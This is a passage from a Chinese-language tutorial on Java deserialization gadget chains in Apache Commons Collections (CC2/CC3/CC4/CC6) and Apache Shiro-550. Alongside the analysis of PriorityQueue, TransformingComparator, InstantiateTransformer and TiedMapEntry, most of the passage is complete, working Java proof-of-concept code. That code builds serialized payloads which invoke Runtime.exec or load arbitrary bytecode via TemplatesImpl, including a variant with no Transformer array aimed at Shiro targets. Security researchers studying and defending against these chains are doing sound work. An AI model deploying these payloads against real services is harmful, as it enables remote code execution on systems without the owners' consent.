这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,免去了我们使用 InvokerTransformer手工调用 newTransformer() 方法这一步:

JAVA反序列化

当然,缺少了InvokerTransformer,TrAXFilter的构造方法也是无法调用的。这里会用到一个新的 Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformer 。 InstantiateTransformer也是一个实现了Transformer接口的类,他的作用就是调用构造方法。

所以,我们实现的目标就是,利用 InstantiateTransformer 来调用到 TrAXFilter 的构造方法,再利 用其构造方法里的 templates.newTransformer() 调用到 TemplatesImpl 里的字节码。

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

替换进去也能成功触发,避免了使用InvokerTransformer

当然,通过这种加载字节码的方式 我们还可以改造CC6,让他加载我们的字节码达到反序列化

需要注意的是,由于CC3依然用到了sun.reflect.annotation.AnnotationInvocationHandler这个必要的类触发,所以高版本JDK依然不可以

Commoncollections2&4

前置知识

  • Commons-Collections4版本:4.0

我们需要从他的Gadget学习几个新的类

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

PriorityQueue

PriorityQueue优先级队列是基于优先级堆的一种特殊队列,它给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取,默认情况下,优先级队列会根据自然顺序对元素进行排序;因此放入PriorityQueue的元素必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级,如果没有实现Comparable接口,PriorityQueue还允许提供一个Comparator对象来判断两个元素的顺序,PriorityQueue支持反序列化,在重写的readObject方法中将数据反序列化到queue中之后,会调用heapify()方法来对数据进行排序。

JAVA反序列化

然后在这其中调用siftDown方法,如果comparator != null的话之后调用siftDownUsingComparator方法siftDownUsingComparator()方法中会调用comparatorcompare()方法来进行优先级的比较和排序。

TransformingComparator

TransformingComparator类似TransformedMap,用Tranformer来装饰一个Comparator,待比较的值将先使用Tranformer转换,再传递给Comparator比较,TransformingComparator初始化时配置TransformerComparator,如果不指定Comparator则使用ComparableComparator.<Comparable>comparableComparator()
在调用TransformingComparatorcompare方法时,调用了this.transformer.transform()方法对要比较的两个值进行转换,然后再调用compare方法比较。

JAVA反序列化

PriorrityQueue中最后会通过comparatorcompare()方法来进行优先级的比较和排序,这里可以通过调用TransformingComparator中的transform()方法来和之前连接起来。

PriorityQueue中自实现了一个readObject方法,根据我们的分析,最后会正好调用了transform 完成了整个反序列化的过程,这里我们来试着写个demo

实现

package CC2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Comparator comparator = new TransformingComparator(transformerChain);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

当然 这个也可以加载任意字节码

package CC2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // Plan one
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(obj),
//                new InvokerTransformer("newTransformer", null, null)
//        };

        // Plan two
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Comparator comparator = new TransformingComparator(transformerChain);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

插入点新的东西

构造没有Transformer[]的CC链

前置知识

在shiro 550 750的攻击过程中 常见的是个commons-collections4.0,但是如果对方的版本是个commons-collections3呢?

在调试过程中,我们可以发现直接生成的payload打不通了。为什么呢?

JAVA反序列化

报了一些错误

我们跟进一下是什么错误?

跟进org.apache.shiro.io.ClassResolvingObjectInputStream类。可以发现其重写了 resolveClass 方法

    protected Class<?> resolveClass(ObjectStreamClass osc) throws
IOException, ClassNotFoundException {
      try {
        return ClassUtils.forName(osc.getName());
      } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
            } 
    }

在抛出异常的地方下个断点可以发现其org.apache.commons.collections.Transformer报错了,也就是Transformer[]数组

Java反序列化利用链分析之Shiro反序列化 这篇文章详细介绍了如何利用commons-collections:3.2.1完成反序列化化的过程

回顾一下,在CommonsCollections6中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参 数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry 类有个 getValue 方法,调用了map的 get方法,并传入key:

JAVA反序列化

当这个map是LazyMap时,其get方法就是触发transform的关键点:

JAVA反序列化

我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为 通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇 的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

那么我们之前的数组中ConstantTransformer就不需要了

实现

我们来试着改造一下cc6,当然其他的链子同样适用

package CC6;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class demo2 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformers = new InvokerTransformer("getClass", null, null);


        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformers);

        TiedMapEntry TiedMapEntry = new TiedMapEntry(outerMap,obj);
        Map hashMap = new HashMap();

        hashMap.put(TiedMapEntry,"valuevalue");
        outerMap.clear();

        setFieldValue(transformers, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(outerMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

当然 这个payload可以发现没了fakeTransformer 而换成了 Transformer transformers = new InvokerTransformer("getClass", null, null);效果是一样的

这也是用来检测Shiro-550的方法